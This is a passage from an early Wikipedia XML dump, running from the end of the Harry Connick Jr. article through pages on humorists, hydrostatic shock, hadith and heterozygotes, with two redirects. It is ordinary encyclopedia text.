* 2001 ''[[30 (album)|30]]''
* 1999 ''[[Come By Me]]''
* 1997 ''[[To See You]]''
* 1996 ''[[Star Turtle]]''
* 1994 ''[[She (album)|She]]''
* 1993 ''[[When My Heart Finds Christmas]]''
* 1992 ''[[25 (album)|25]]''
* 1991 ''[[Blue Light, Red Light]]''
* 1990 ''[[Lofty's Roach Souffle]]''
* 1990 ''[[We Are in Love]]''
* 1989 ''[[When Harry Met Sally...]]'' (soundtrack)
* 1988 ''[[20 (album)|20]]''
* 1987 ''[[Harry Connick Jr. (album)|Harry Connick Jr.]]''
* 1978 ''[[11 (Harry Connick Jr. album)|Eleven]]''
* 1977 ''[[Dixieland Plus]]''

===Soundtrack Appearances=== 
* 2001 ''[[South Pacific (musical)|South Pacific]]'' - Various Artists - #9 &quot;Younger Than Springtime&quot;, #14 &quot;You've Got To Be Carefully Taught&quot; and #17 &quot;My Girl Back Home&quot;
* 1998 ''[[Kissing a Fool]]'' - Various Artists - &quot;[[To See You|Learn to Love]]&quot; and &quot;[[We Are in Love]]&quot; (appears in the movie, not on the soundtrack)
* 1996 ''[[One Fine Day]]'' - Various Artists - #11 &quot;This Guy's In Love With You&quot;
* 1994 ''[[The Mask]]'' - Various Artists - #5 &quot;[[She (album)|(I Could Only) Whisper Your Name]]&quot; 
* 1993 ''[[Sleepless In Seattle]]'' - Various Artists - #8 &quot;A Wink And A Smile&quot;
* 1990 ''[[The Godfather Part III]]'' - [[Carmine Coppola]] - #12 &quot;[[Promise Me You'll Remember]]&quot;

==Filmography==
* 2006 ''[[Bug (2006 movie)|Bug]]'' 
* 2004 ''[[Mickey (2004 movie)|Mickey]]'' 
* 2003 ''[[Basic (movie)|Basic]]'' 
* 2001 ''[[Life Without Dick]]'' 
* 2000 ''[[The Simian Line]]'' 
* 2000 ''[[My Dog Skip]]'' 
* 1999 ''[[Wayward Son]]'' 
* 1999 ''[[The Iron Giant]]'' 
* 1998 ''[[Hope Floats]]'' 
* 1997 ''[[Excess Baggage]]'' 
* 1996 ''[[Independence Day (movie)|Independence Day]]'' 
* 1995 ''[[Copycat (movie)|Copycat]]'' 
* 1991 ''[[Little Man Tate]]'' 
* 1990 ''[[Memphis Belle (film)|Memphis Belle]]'' 

==Various==
* 2006 ''[[The Pajama Game]]'' ([[Broadway theatre|Broadway]] Musical)
* 2005 ''[[The Happy Elf]]'' ([[NBC]])
* 2004 ''[[Only You: In Concert]]'' ([[PBS]]) 
* 2003 ''[[Harry for the Holidays]]'' ([[NBC]]) 
* 2002 ''[[Will &amp; Grace]]'' (NBC 2002-2006)
* 2001 ''[[Thou Shalt Not (musical)|Thou Shalt Not]]'' (Broadway Musical) - composer
* 2001 ''[[Evening at Pops]]'' (PBS)
* 2001 ''[[South Pacific (musical)|South Pacific]]'' ([[American_Broadcasting_Company|ABC]])
* 1999 ''The Worlds of Harry Connick Jr.'' ([[Bravo (television network)|Bravo]]) 
* 1998 ''Harry Connick Jr.: Romance in Paris'' (PBS Special)
* 1993 ''[[When My Heart Finds Christmas|The Harry Connick Jr. Christmas Special]]'' ([[CBS]])
* 1991 ''[[Cheers]]'' - TV show guest appearance

==Videography==
* 2005 ''[[A Duo Occasion]]'' 
* 2004 ''[[Only You: In Concert]]'' ([[Sony Music Entertainment|Sony Music]])
* 2003 ''[[Harry for the Holidays]]'' ([[Columbia Records|Columbia]])
* 1994 ''[[When My Heart Finds Christmas|The Harry Connick Jr. Christmas Special]]''
* 1993 ''[[The New York Big Band Concert]]'' (Sony Music)
* 1990 ''[[Swingin' Out Live]]'' (Sony Music)
* 1990 ''[[Singin' and Swingin']]'' (Sony Music)

==External links==
*[http://www.harryconnickjr.com/connick/index.cfm/ Harry Connick Jr. official website]
*[http://www.hconnickjr.com/ Harry Connick Jr. website on Sony Music]
*[http://www.connick.com/ connick.com - the original fan site]
*[http://www.connick.com/forum/ Harry Connick, Jr. Forum] 
*{{imdb name|id=0001065|name=Harry Connick Jr.}}
*{{nndb name|id=/170/000023101|name=Harry Connick Jr.}}
*{{ibdb name|id=47302|name=Harry Connick Jr.}}
*[http://www.vh1.com/artists/az/harry_connick_jr_/artist.jhtml VH1 Harry Connick Jr. web page]
*[http://www.allmusic.com/cg/amg.dll?p=amg&amp;uid=UIDMISS70311071654390588&amp;sql=Bttduakok5m3k/ All Music Guide Harry Connick Jr, page]
*[http://www.harryconnickjr.com/connick/pbuild/linkbuilder.cfm?selection=doc.680/ Article on Connick's United States patent 6,348,648] for a &quot;system and method for coordinating music display among players in an orchestra.&quot; 

[[Category:1967 births|Connick, Harry, Jr.]]
[[Category:Living people|Connick, Harry, Jr.]]
[[Category:American jazz singers|Connick, Harry, Jr.]]
[[Category:American male singers|Connick, Harry, Jr.]]
[[Category:American pop singers|Connick, Harry, Jr.]]
[[Category:American songwriters|Connick, Harry, Jr.]]
[[Category:American stage actors|Connick, Harry, Jr.]]
[[category:Celebrities who have appeared on Sesame Street|Connick, Harry, Jr.]]
[[Category:Emmy Award winners|Connick, Harry, Jr.]]
[[Category:Harry Connick, Jr.|Connick, Harry, Jr.]]
[[Category:Irish-American actors|Connick, Harry, Jr.]]
[[Category:American jazz pianists|Connick, Harry, Jr.]]
[[Category:Jewish American actors|Connick, Harry, Jr.]]
[[Category:Jewish-American singers|Connick, Harry, Jr.]]
[[Category:New Orleanians|Connick, Harry, Jr.]]
[[Category:Will &amp; Grace actors|Connick, Harry, Jr.]]

[[de:Harry Connick junior]]
[[es:Harry Connick, Jr.]]
[[it:Harry Connick Jr.]]
[[ja:ハリー・コニック・Jr]]
[[no:Harry Connick jr.]]
[[nn:Harry Connick jr.]]
[[sv:Harry Connick Jr.]]</text>
    </revision>
  </page>
  <page>
    <title>List of humorists</title>
    <id>13744</id>
    <revision>
      <id>40523405</id>
      <timestamp>2006-02-21T04:57:19Z</timestamp>
      <contributor>
        <username>Realkyhick</username>
        <id>392806</id>
      </contributor>
      <text xml:space="preserve">A '''humorist''' is an [[author]] who specializes in short, humorous articles or essays.
{{limitedgeographicscope}}
Notable humorists:
* [[George Ade]]
* [[Cecil Adams]] (''The Straight Dope'')
* [[Scott Adams]] (''[[Dilbert]]'')
* [[Michael &quot;Atters&quot; Attree]]
* [[Linwood Barclay]]
* [[Dave Barry]]
* [[Robert Benchley]]
* [[Stefano Benni]]
* [[Josh Billings]]
* [[Erma Bombeck]]
* [[Art Buchwald]]
* [[Guy Wetmore Carryl]]
* [[Al Clouston]]
* [[William Combe]]
* [[Will Cuppy]]
* [[Will Ferguson]]
* [[Mike Fireball]]
* [[Ian Frazier]]
* [[Stephen Fry]]
* [[Veronica Geng]]
* [[Janey Godley]]
* [[Hugh Laurie]]
* [[Gary Lautens]]
* [[Stephen Leacock]]
* [[Stuart McLean]]
* [[John Bingham Morton]] ([[pen name]]: [[Beachcomber]])
* [[Ogden Nash]]
* [[Richard J. Needham]]
* [[Eric Nicol]]
* [[Dorothy Parker]]
* [[S. J. Perelman]]
* [[Boleslaw Prus|Boles&amp;#322;aw Prus]]
* [[David Rakoff]]
* [[Bill Richardson (radio)|Bill Richardson]]
* [[Will Rogers]]
* [[David Sedaris]]
* [[Dr Seuss]]
* [[Herb Shriner]]
* [[Wil Shriner]]
* [[The 7th Level]]
* [[Richard A. Sherman]] ''aka'' [[Mr. Modem]]
* [[Sholom Aleichem]] 
* [[Joey Slinger]]
* [[H. Allen Smith]]
* [[Ron Sparks]]
* [[James Thurber]]
* [[Calvin Trillin]]
* [[Mark Twain]]
* [[Orl Unho]]
* [[Artemus Ward]]
* [[Ellis Weiner]]
* [[P. G. Wodehouse]]
* [[Melvin Durai]]
* [[B. Thompson Stroud]]
* [[Ebrahim Nabavi]]


==See also==

*[[Comedian]]
[[bg:&amp;#1057;&amp;#1087;&amp;#1080;&amp;#1089;&amp;#1098;&amp;#1082; &amp;#1085;&amp;#1072; &amp;#1093;&amp;#1091;&amp;#1084;&amp;#1086;&amp;#1088;&amp;#1080;&amp;#1089;&amp;#1090;&amp;#1080;]]

[[Category:Lists of writers|Humorists]]
[[Category:Humorists| ]]</text>
    </revision>
  </page>
  <page>
    <title>Humprey Bogart</title>
    <id>13745</id>
    <revision>
      <id>15911338</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Humphrey Bogart]]
</text>
    </revision>
  </page>
  <page>
    <title>Hydrostatic shock</title>
    <id>13746</id>
    <revision>
      <id>39683244</id>
      <timestamp>2006-02-15T03:31:46Z</timestamp>
      <contributor>
        <username>Arrkhal</username>
        <id>180834</id>
      </contributor>
      <comment>rv vandalism by 130.207.180.212</comment>
      <text xml:space="preserve">'''Hydrostatic shock''' is a theory of [[terminal ballistics]] that wounding effects are created by a shock wave in the tissues of the target. The term is meant to be a combination of [[hydrostatics]] with the (misnomer) effect of hydrodynamic shock. It is frequently used to argue in favor of low mass, high velocity bullets, especially in American [[shooting sports]] magazines.

==== Background ====
Hydrodynamic shock refers to a [[pressure wave]] that is created when liquid is suddenly displaced, such as by a [[high explosive]]. Although it is sometimes used by scientists (e.g. {{fn|(1)}}), the term is a misnomer because shock waves do not occur in incompressible fluids. Such pressure waves are known to cause extensive tissue damage to organisms that they pass through, and have been studied for use in meat tenderization and antibacterial applications.  

Following the development of high explosives in the [[19th century]], it was discovered that setting off dynamite in water caused nearby fish to die ''en masse''.  Although highly efficient, [[blast fishing|dynamite fishing]] was found to be extremely destructive to the environment and has been widely banned, although it is still illicitly practiced in some areas.{{fn|(2)}}

Proponents of hydrostatic shock argue that because tissue is composed largely of water, an analogous situation can occur in tissue where organs are damaged in the same manner as fish, more by the shock wave than the projectile itself.

==== A Failed Theory ====
The theory of hydrostatic shock has been conclusively disproven. The claim that tissue behaves like water is obviously false. Water is an incompressible fluid, while tissue is a compressible solid. Tissue has memory and will return to its original shape if stretched, and can dissipate energy as it stretches. What's more, even if tissue did behave like water, the speed of sound in water is approximately 1500 m/s, but no commonly used rifle bullet exceeds 1300 m/s.

Tissue does behave similarly enough to water that a sonic pressure wave can be created by a bullet impact, generating pressures in excess of 100 atmospheres. However, a device known as the lithotriptor, commonly used to break up kidney stones, produces sonic pressure waves of approximately 5 times the amplitude of those caused by bullets.  Up to 2000 such pressure waves are used in a single treatment session, with no damage to soft tissues whatsoever.{{fn|(3)}}

From a study produced by the FBI, &quot;Handgun Wounding Factors and Effectiveness&quot;
:The reason is that most tissue in the human target is elastic in nature. Muscle, blood vessels, lung, bowels, all are capable of substantial stretching with minimal damage. Studies have shown that the outward velocity of the tissues in which the temporary cavity forms is no more than one tenth of the velocity of the projectile. This is well within the elasticity limits of tissue such as muscle, blood vessels, and lungs, Only inelastic tissue like liver, or the extremely fragile tissues of the brain, would show significant damage due to temporary cavitation.{{fn|(4)}}

Further, one study {{fn|(5)}} showed that projectiles which strike above the speed of sound in water do not produce any &quot;extra&quot; trauma which could not be explained by the increase in drag as velocity increases.

==References==
*{{fnb|(1)}} {{Web reference | title=Hydrodyne Process Research, Dr. James R. Claus | work=University of Wisconsin Madison| URL=http://www.ansci.wisc.edu/facstaff/Faculty/pages/claus/hyd/hydhome.htm | date=October 24 | year=2005}}
*{{fnb|(2)}} {{Web reference | title=Dynamite fishing ravages Philippines' precious coral reefs | work=San Francisco Chronicle| URL=http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2002/05/30/MN232485.DTL | date=October 24 | year=2005}}
*{{fnb|(3)}} {{Web reference | title=What's Wrong With the Wound Ballistics Literature and Why | work=Letterman Army Institute of Research, Division of Military Trauma Research | URL=http://www.rkba.org/research/fackler/wrong.html | date=October 25 | year=2005}}
*{{fnb|(4)}} {{Web reference | title=Handgun Wounding Factors and Effectiveness | work=FirearmsTactical.com| URL=http://www.firearmstactical.com/hwfe.htm| date=January 17| year=2006}}
*{{fnb|(5)}} {{Web reference | title=Wounding Mechanism of Projectiles Striking at More than 1.5km/sec, Martin L. Fackler, Donald F Bellamy &amp; John A Malinowski | work=B &amp; T Ammo Labs | URL=http://www.btammolabs.com/fackler/wounding_mechanism.pdf | date=October 24 | year=2005}}

==See also==
*[[Stopping power]]
*[http://www.btammolabs.com/articles.htm More articles on wound ballistics from B &amp; T Ammo Labs]

[[Category:Pseudoscience]]
[[Category:Ballistics]]</text>
    </revision>
  </page>
  <page>
    <title>Hadith</title>
    <id>13749</id>
    <revision>
      <id>41995739</id>
      <timestamp>2006-03-03T02:47:52Z</timestamp>
      <contributor>
        <username>Rayana fazli</username>
        <id>824188</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{Islam}}

'''Hadith''' ({{lang-ar|الحديث}}, Arabic pl. ''ahadith'' &quot;أحاديث&quot;; in English academic usage, ''hadith'' is often both singular and plural, and sometimes spelled '''haddith''') are traditions relating to the sayings and doings of the [[Islam]]ic prophet [[Muhammad]].   Hadith collections are regarded as important tools for determining the [[Sunnah]], or [[Muslim]] way of life, by all traditional [[madhab|schools of jurisprudence]].

== Types of hadith ==

Muslim scholars classify hadith relating to Muhammad as follows: 

* What Muhammad said (''qawl'',''قول'' )
* What Muhammad did (''fi'l'',''فعل'' )
* What Muhammad approved (''taqrir'',''تقرير'' ) in others' actions.

There are also hadith relating to the sayings and doings of the companions, but they may not have the same weight as those about Muhammad.

Western scholars note that there is a great overlap between the records of early Islamic traditions. Accounts of early Islam are also to be found in: 

* [[sira]] (stories, especially biographies of Muhammad)
* [[tafsir]] (commentary on the Qur'an)
* [[fiqh]] (juristic reasoning)

Some of these accounts are also found as hadith; some aren't. For a Western historian, these are all simply historical sources; for the Muslim scholar, hadith have a special status citing [[sura]] [[Al-A'raf]] 157:

:''Those who follow the messenger, the unlettered Prophet, whom they find mentioned in their own (scriptures),- in the Law and the Gospel;- for he commands them what is just and forbids them what is evil; he allows them as lawful what is good (and pure) and prohibits them from what is bad (and impure); He releases them from their heavy burdens and from the yokes that are upon them. So it is those who believe in him, honour him, help him, and follow the light which is sent down with him,- it is they who will prosper.'' (Yusuf Ali translation)

They take this and other Qur'anic verses to require Muslims to follow authentic ''hadith''.  However, a small number of &quot;[[Quran-only]]&quot; Muslims disagree with this view and interpret these verses differently; they argue that the hadith are of human creation and have no authority.

==How are hadith collections viewed?== 

The overwhelming majority of Muslims consider hadiths to be essential supplements to and clarifications of the [[Qur'an]], Islam's holy book.

* In the matter of what is called ''[[fiqh]]'', or Islamic jurisprudence, the Qur'an contains many rules for the behavior expected of Muslims. However, there are many matters of concern, both religious and practical, on which there are no specific Quranic rules. Muslims believe that they can look at the way of life, or ''[[sunnah]]'', of Muhammad and his companions to discover what to imitate and what to avoid. 

* In the matter of what is called ''[[tafsir]]'', or exposition of the meaning of the Qur'an, Muslim scholars believe that it is useful to know how Muhammad or his companions explained the revelations, or upon what occasion Muhammad received them. Sometimes this will clarify a passage that otherwise seems obscure. 

* Hadith are a source for Islamic history and biography. 

* For the vast majority of devout Muslims, authentic hadith are also a source of religious inspiration.

A very small proportion of the global Muslim poplulation, such as [[Rashad Khalifa]]'s followers [[United Submitters International]], advocate following the &quot;Qur'an alone&quot; and claim that hadiths are unnecessary to supplement a complete book, often arguing that hadiths lead believers away from submission to God by adding another source of law. Muslims who advocate following the &quot;Qur'an alone&quot; viewpoint are regarded as [[apostate|apostates]] or [[sin|sinners]] by mainstream Muslim scholars, and by the vast majority of Muslims. They argue that many Qur'anic instructions are impossible to fulfill without guidance from the ahadith. (The Qur'an does not, for example, specify how many prayer cycles constitute fulfillment of each of the daily prayers. See [[salat]].)

== Value of hadith compared to the value of the Qur'an==

Muslims who accept hadith believe that trusted hadith are in most cases the words of Muhammad and not the word of God, like the Qur'an. [[Hadith Qudsi]] form a partial exception; this small minority of hadith purports to express words spoken  by God to Muhammad but not included in the [[Qur'an]], or the sense of them.  

While both hadith and Qur'an have been translated, most Muslims believe that translations of the Qur'an are inherently deficient, amounting to  little more than a commentary upon the text. There is no such belief regarding hadith. Practicing Muslims cleanse themselves ([[wudu]]) and pray before reading or reciting the Qur'an; there is no such requirement for reading or reciting hadith. Even for Muslims who accept the hadith, they are clearly of inferior rank.

== Hadith accepted by Sunni Islam ==

The Sunni canon of hadith took its final form close to three centuries after the death of Muhammad. Later scholars may have debated the authenticity of particular hadith but the authority of the canon as a whole was not questioned. This canon includes:

# [[al-Bukhari]] (d. [[870]]) included 7275 hadiths
# [[Muslim b. al-Hajjaj]] (d. [[875]]) included 9200.
# [[Abu Da'ud]] (d. [[888]])
# [[al-Tirmidhi]] (d. [[892]])
# [[al-Nasa'i]] (d. [[915]])
# [[Ibn Maja]] (d. [[886]]).

al-Bukhari and Muslim are usually considered the most reliable of these collections. There is some debate over whether the sixth member of this canon should be Ibn Maja or the ''Muwatta'' of [[Imam Malik]], which is the earliest hadith canon but predates much of the methodology developed by the classic hadith scholars.

While there are still many traditional Muslims who rely on the [[ulema]] and its long tradition of hadith collection and criticism, other contemporary Sunni Muslims are willing to reconsider tradition. Liberal Muslims are most apt to trust the individual conscience, but there are also [[Salafi]]s who demand the same freedom. The Salafis claim that the ordinary believer can trust his or her own judgment (even if he or she is not trained in Islamic scholarship) if he or she relies on Bukhari and Muslim, the commentators deemed to be most correct (''sahih''), and ignores the weak hadith.

== Hadith accepted by Shi'a Islam == 

[[Shi'a Islam|Shi'a]] Muslims feel that hadith transmitted through scholars or collectors who rejected the descendants of [[Ali ibn Abi Talib]] are less reliable than hadith transmitted by those who remained true to Ali. They accept many of the Sunni hadith, but reject others. There is no one canonical hadith collection recognized by all Shi'a sects or teachers.

== Hadith accepted by Ibadi Islam ==

[[Ibadi]] Islam (centered primarily in the Arabian kingdom of [[Oman]]) accepts many Sunni hadith, while rejecting others, and accepts some hadith not accepted by Sunnis.  Ibadi jurisprudence is based only on the hadith accepted by Ibadis, which are far less numerous than those accepted by Sunnis.  Several of Ibadism's founding figures - in particular [[Jabir ibn Zayd]] - were noted for their hadith research, and Jabir ibn Zayd is accepted as a reliable narrator by Sunni scholars as well as Ibadi ones.  The principal hadith collection accepted by Ibadis is ''[http://www.islamfact.com/books-htm/ibadi/39.htm al-Jami'i al-Sahih]'', also called ''Musnad al-Rabi ibn Habib'', as rearranged by Abu Ya'qub Yusuf b. Ibrahim al-Warijlani.  A large proportion of its narrations are via Jabir ibn Zaid or Abu Yaqub; most are reported by Sunnis, while several are not.  The total number of hadith it contains is 1005, and an Ibadi tradition recounted by al-Rabi has it that there are only 4000 authentic Prophetic hadith.  The rules used for determining the reliability of a hadith are given by Abu Ya'qub al-Warijlani, and are largely similar to those used by Sunnis; they criticise some of the companions ([[sahaba]]), believing that some were corrupted after the reign of the first two caliphs.  The Ibadi jurists accept hadith narrating the words of Muhammad's companions as a third basis for legal rulings, alongside the Qur'an and hadith relating Muhammad's words.

== How hadith were collected and evaluated ==

Traditions regarding the life of Muhammad and the early history of Islam were passed down orally for more than a hundred years after the death of Muhammad in 632. 

Muslim historians say that it was the [[caliph]] [[Uthman]] (the third caliph, or successor of Muhammad, who had formerly been Muhammad's secretary), who first urged Muslims both to write down the Qur'an in a fixed form, and to write down the hadith. Uthman's labors were cut short by his assassination, at the hands of aggrieved soldiers, in 656. 

The Muslim community (''[[ummah]]'') then fell into a prolonged civil war, termed the ''[[First Islamic civil war|Fitna]]'' by Muslim historians. After the fourth caliph, Ali ibn Abi Talib, was assassinated, control of the Islamic empire was seized by the [[Umayyad|Umayyad dynasty]] in 661. Ummayad rule was interrupted by a second civil war (the ''[[Second Islamic civil war|Second Fitna]]''), re-established, then ended in 758, when the [[Abbasid|Abbasid dynasty]] seized the caliphate, to hold it, at least in name, until 1258. 

Muslim historians say that hadith collection and evaluation continued during the first Fitna and the Umayyad period. However, much of this activity was presumably oral transmission from early Muslims to later collectors, or from teachers to students. If any of these early scholars committed any of these collections to writing, they have not survived. The histories and hadith collections we possess today were written down at the start of the Abbasid period, more than one hundred years after the death of Muhammad. 

The scholars of the Abbasid period were faced with a huge corpus of miscellaneous traditions, some of them flatly contradicting each other. Many of these traditions supported differing views on a variety of controversial matters. Scholars had to decide which hadith were to be trusted as authentic narrations and which had been invented for various political or theological purposes. For this purpose, they used a number of techniques which Muslims now call the [http://www.usc.edu/dept/MSA/fundamentals/hadithsunnah/scienceofhadith/atit.html &amp;#8220;science of hadith&amp;#8221;].

The commonest technique consisted of a careful examination of the [[isnad]], or chain of transmission. Each hadith was accompanied by an isnad: A heard it from B who heard it from C who heard it from a companion of Muhammad. Isnads were carefully scrutinized to see if the chain was possible (for example, making sure that all transmitters and transmittees were known to be alive and living in the same area at the time of transmission) and if the transmitters were reliable. The scholars rejected as unreliable people reported to have lied (at any point), as well as people reputed to be stupid (and thus likely to misunderstand the saying), and sometimes [[ascetic]]s (in [[Imam Malik]]'s words, &quot;an ascetic who doesn't know what he is narrating&quot;.) Sunni scholars regard affiliation to some extreme [[Shia]] and [[Qadariya]] sects as sometimes reducing a narrator's reliability, due to these sects' alleged propensity for fabricating hadith; [[Kharijites]] are seen as less likely to fabricate.  However, they generally accept these narrators too as long as they were not engaged in actively spreading their views. Shi'a scholars, conversely, doubt the impartiality of the Sunni scholars, and privilege narrators known to have followed Ali and his descendants. 

Hadith that were not thrown out as clearly spurious ([[Maudu']]) were usually sorted into three categories: 

* &quot;genuine&quot; (''[[sahih]]'', the best category)
* &quot;fair&quot; (''[[hasan]]'', the middle category)
* &quot;weak&quot; (''[[da'if]]'').

Some of the sahih hadith were further distinguished as ''[[Mutawatir|mutawatir]]'', or agreed upon. The sayings or events reported in these hadith were attested by so many witnesses, though different isnads, that it was thought inconceivable that these hadith could be forgeries. 

Many contemporary Muslims who have not been trained in the sciences of hadith regard the collections of Bukhari and Muslim as particularly reliable, and tend to accept them as sure and certain. Trained Islamic scholars are much more likely to adopt a critical stance towards even the sahih collections, and caution that hadith have to be weighed and evaluated, not accepted as true without further consideration. Hence the [[Muslim Student Association|MSA]] collection of hadith, warns:

: ''Today, the situation is different. The collections of ahadeeth have for the most part stabilized, and with the advent of the printing press, the collections are easily mass-produced. There is a blessing in all this of course, but there is a real danger that Muslims will fall under the impression that owning a book or having a database is equivalent to being a scholar of ahadeeth. This is a great fallacy. Therefore, we would like to warn you that this database is merely a tool, and not a substitute for learning, much less scholarship in Islam.'' [http://www.usc.edu/dept/MSA/reference/searchhadith.html] 

Shi'a Muslims also believe that training is required to evaluate hadith. In religious matters, lay Shi'a usually defer to the Shi'a clergy with the proper training, the [[mujtahid]] and [[marja]].

== Western academic views of hadith == 

Early Western exploration of Islam consisted primarily of translation of the Qur'an and a few histories, often supplemented with disparaging commentary. In the nineteenth century, scholars made greater attempts at impartiality, and translated and commented upon a greater variety of texts. By the beginning of the twentieth centuries, Western scholars of Islam started to critically engage with the Islamic texts, subjecting them to the same agnostic, searching scrutiny that had previously been applied to Christian texts (see [[higher criticism]]). [[Ignaz Goldziher]] is the best known of these turn-of-the-century iconclasts, who also included D.S. Margoliuth, Henri Lammens, and Leone Caetani. Goldziher writes, in his ''Muslim Studies'', 

:''... it is not surprising that, among the hotly debated controversial issues of Islam, whether political or doctrinal, there is not one in which the champions of the various views are unable to cite a number of traditions, all equipped with imposing ''isnads''.

The next generations of Western scholars were also sceptics, on the whole: [[Joseph Schacht]], in his ''Origins of Muhammadan Jurisprudence'' (1959), argued that isnads going back to Muhammad were in fact ''more'' likely to be spurious than isnads going back to the companions. [[John Wansbrough]], in the 1970s, and his students [[Patricia Crone]] and [[Michael Cook]] were even more sweeping in their dismissal of Muslim tradition, arguing that even the Qur'an was likely to have been collected later than claimed. 

Contemporary Western scholars of hadith include: 

* Herbert Berg, ''The Development of Exegesis in Early Islam'' (2000)
* Fred M. Donner, ''Narratives of Islamic Origins'' (1998)
* [[Wilferd Madelung]], ''Succession to Muhammad'' (1997)

It should be noted that Madelung has immersed himself in the hadith literature and has made his own selection and evaluation of tradition. Having done this, he is much more willing to trust hadith than many of his contemporaries.

== Bridges between Muslim and Western scholars == 

Currently there is little communication between the world of Muslim hadith scholarship and Western academia. Muslim scholars reject the Westerners as '[[Orientalism|Orientalists]]' who are hostile to religion in general and Islam in particular. Western academics tend to dismiss Muslim scholars as irrelevant, bound as they are to millennia-old technique of hadith evaluation by chain of transmission which non-Muslims scholarship regards with skepticism. 

However, some Muslim scholars have undergone Western academic training and taken up positions between the traditional Muslim and the secular Western view. Notable among these was [[Fazlur Rahman]] (1911-1988) who argued that while the chain of transmission of the hadith may often be spurious, the content, the [[matn]], can still be used to understand how Islam can be lived in the modern world. [[Liberal movements within Islam]] tend to agree with Rahman's views to varying degrees.

==See also==

* [[Islam]]
* [[oral law]]
* [[sira]]
* [[isnad]]
* [[early Muslim philosophy]]
* [[list of Islamic terms in Arabic]]
*[[List of notable Muslim reports]]
*[[Sharia]]

==External links==

===Hadith collections===

*[http://www.ihsanetwork.org/ The Seven Canonical Hadith Collections]
*[http://www.usc.edu/dept/MSA/fundamentals/hadithsunnah/bukhari/ Sahih al-Bukhari]
*[http://cwis.usc.edu/dept/MSA/fundamentals/hadithsunnah/muslim/ Sahih Muslim]
*[http://cwis.usc.edu/dept/MSA/fundamentals/hadithsunnah/abudawud/ Abu Dawud]
*[http://www.usc.edu/dept/MSA/fundamentals/hadithsunnah/muwatta/ Muwatta Imam Malik]
*[http://www.usc.edu/dept/MSA/reference/searchhadith.html Searchable hadith Database]

===Other links===

*[http://www.ihsanetwork.org/ The International Hadith Study Association Network (The IHSAN Network)]
*[http://hadith.rationalreality.com/ The Hadith Conspiracy &amp; the Distortion of Islam- Critical Views]

*[http://www.thesaurus-islamicus.li/ Thesaurus Islamicus Foundation (The Sunna Project)]
*[http://hadeeth.blogspot.com Hadeeth Blog: A daily hadeeth and commentary]
*[http://www.witness-pioneer.org/vil/hadeeth/sh_ish/index.htm An Introduction to the Science of Hadith]
*[http://www.usc.edu/dept/MSA/fundamentals/hadithsunnah/historyandhadeeth/azzamcomparison.html A Comparison between Modern Historical Methodology and Hadeeth Methodology]
*[http://www.witness-pioneer.org/vil/Books/Q_SSC/default.htm The Sunnah: A Source of Civilization By Prof. Yusuf Al-Qaradawi]
*[http://al-islam.org/al-tawhid/hadith-science/index.htm Shi'a Perspective on Hadith: Outlines of the Development of the Science of Hadith]
*[http://www.nebras.net Collections of some Sunni Hadiths]
*[http://www.free-minds.org/articles.htm#hadith Skeptical views of hadith]
*[http://www.islamicreform.org/index.php?id=8,7,0,0,1,0 Hadith - Critical Views]
*[http://www.fonsvitae.com/prophetic.html Books and Resources on Hadith]




[[Category:Islamic law]] 
[[Category:Islamic texts]] 
[[Category:Quran]] 
[[Category:Aqidah]]

{{Link FA|id}}

[[ar:حديث نبوي]]
[[bs:Hadis]]
[[da:Hadith]]
[[de:Hadith]]
[[es:Hadiz]]
[[fr:Hadith]]
[[ko:하디스]]
[[id:Hadits]]
[[it:Hadith]]
[[he:חדית']]
[[sw:Hadithi za Mtume Muhammad]]
[[nl:Hadith]]
[[ja:ハディース]]
[[pl:Hadis]]
[[pt:Hadith]]
[[ru:Хадис]]
[[sv:Hadith]]
[[tr:Hadis]]</text>
    </revision>
  </page>
  <page>
    <title>Haploidy</title>
    <id>13750</id>
    <revision>
      <id>15911342</id>
      <timestamp>2005-03-13T22:25:40Z</timestamp>
      <contributor>
        <username>Petaholmes</username>
        <id>59986</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Ploidy]]</text>
    </revision>
  </page>
  <page>
    <title>Heterozygote</title>
    <id>13751</id>
    <revision>
      <id>41685390</id>
      <timestamp>2006-03-01T01:26:35Z</timestamp>
      <contributor>
        <ip>24.158.101.7</ip>
      </contributor>
      <comment>removed * [[John Ken Santos]] from see also</comment>
      <text xml:space="preserve">'''Heterozygote''' cells are [[diploid]] or [[polyploid]] and have different [[allele|alleles]] at a ''[[locus]]'' (position) on homologous [[chromosome|chromosomes]]. When an organism is referred to as a heterozygote or as being '''heterozygous''' for a specific [[gene]], it means that the organism carries a different version of that [[gene]] on each of the two corresponding [[chromosome]]s.  '''Heterozygosity''' refers to the state of being a heterozygote, but in [[population genetics]], it commonly refers to the fraction of individuals in a population that are heterozygous for that locus.

In a heterozygous individual, each allele produces its own unique protein or enzyme. The result is a mixture of the two rather than a combination of the two into one. If the presence of the abnormal enzyme produces an abnormal effect in the heterozygote, the abnormal allele is termed a [[Dominant_gene|dominant]] gene. In other cases, especially when the abnormal allele produces a nonfunctional enzyme, the abnormal enzyme molecules have no obvious effect on the heterozygote. The individual is an [[asymptomatic carrier]] of the abnormal allele, which is referred to as a [[recessive]] gene.

To symbolize how a gene is inherited (''Main article:'' [[Mendelian inheritance]]), the dominant allele is indicated with an upper case character and the recessive with a lower case character. The colour of Mendel's peas are often indicated as ''PP'' for the [[dominance relationship|dominant]] homozygote, which produces a pink flower, and ''pp'' for the [[dominance relationship|recessive]] homozygote, which produces a white flower. When these are crossed, the F1 or first filial generation receives a chromosome with the ''P'' gene from the pink-flowered parent and a corresponding chromosome with the ''p'' gene from the white-flowered parent. All of the F1 generation are heterozygous, and this is indicated with ''Pp''. All of the F1 plants produce pink flowers. 

Some genes are neither dominant nor recessive to another [[allele]]. In such cases, both genes affect the heterozygote. Sometimes the result is intermediary: when a red carnation is crossed with a white carnation, they produce heterozygous carnations with pink flowers. If the test is sensitive enough, the heterozygote has the phenotype of both parents: when a person who is homozygous for the A [[blood type]] gene marries a person who is homozygous for the B blood type gene, they produce heterozygous children who test positive for both A and B blood type.

== See also ==
* [[homozygote]]
* [[dominant gene]]
* [[recessive gene]]

[[de:Heterozygotie]]
[[es:Heterocigoto]]
[[et:Heterosügootsus]]
[[he:הטרוזיגוט]]
[[nl:Heterozygoot]]
[[pl:Heterozygota]]

